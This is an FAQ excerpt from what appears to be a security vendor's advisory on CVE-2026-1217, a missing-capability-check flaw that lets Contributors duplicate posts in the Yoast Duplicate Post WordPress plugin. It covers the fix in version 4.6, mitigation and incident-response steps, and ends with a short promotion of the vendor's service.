Technical detailsThe vulnerability is primarily associated with the clone_bulk_action_handler() and republish_request() functions in the plugin. These functions lack proper capability checks, allowing unauthorized actions to be performed by users with insufficient permissions.
How does the proof of concept demonstrate the vulnerability?
Understanding the exploitation methodThe proof of concept illustrates how an authenticated Contributor can use a crafted request to duplicate any post, including those that are private or in draft status. It shows the steps needed to authenticate and exploit the vulnerability using cURL.
What changes were made in the patched version?
Details of the fixIn version 4.6, the patch introduced capability checks using current_user_can(‘edit_post’, $post_id) in the affected functions. This ensures that only users with the appropriate permissions can duplicate or overwrite posts.
Is there a way to temporarily disable the affected functionality?
Alternative mitigation strategiesIf immediate updating is not feasible, consider temporarily disabling the Yoast Duplicate Post plugin until it can be updated. This can prevent any potential exploitation while you assess the situation.
What should I do if I suspect exploitation?
Response actionsIf you suspect that your site has been exploited, conduct a thorough review of your posts and user activity. Check for unauthorized changes and consider restoring from a backup. Additionally, update the plugin and review user permissions to prevent future incidents.
Where can I find more information about this vulnerability?
Further resourcesMore information about CVE-2026-1217 can be found in the official CVE database and security advisories from WordPress security resources. Additionally, the Atomic Edge analysis provides detailed insights into the vulnerability and its implications.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






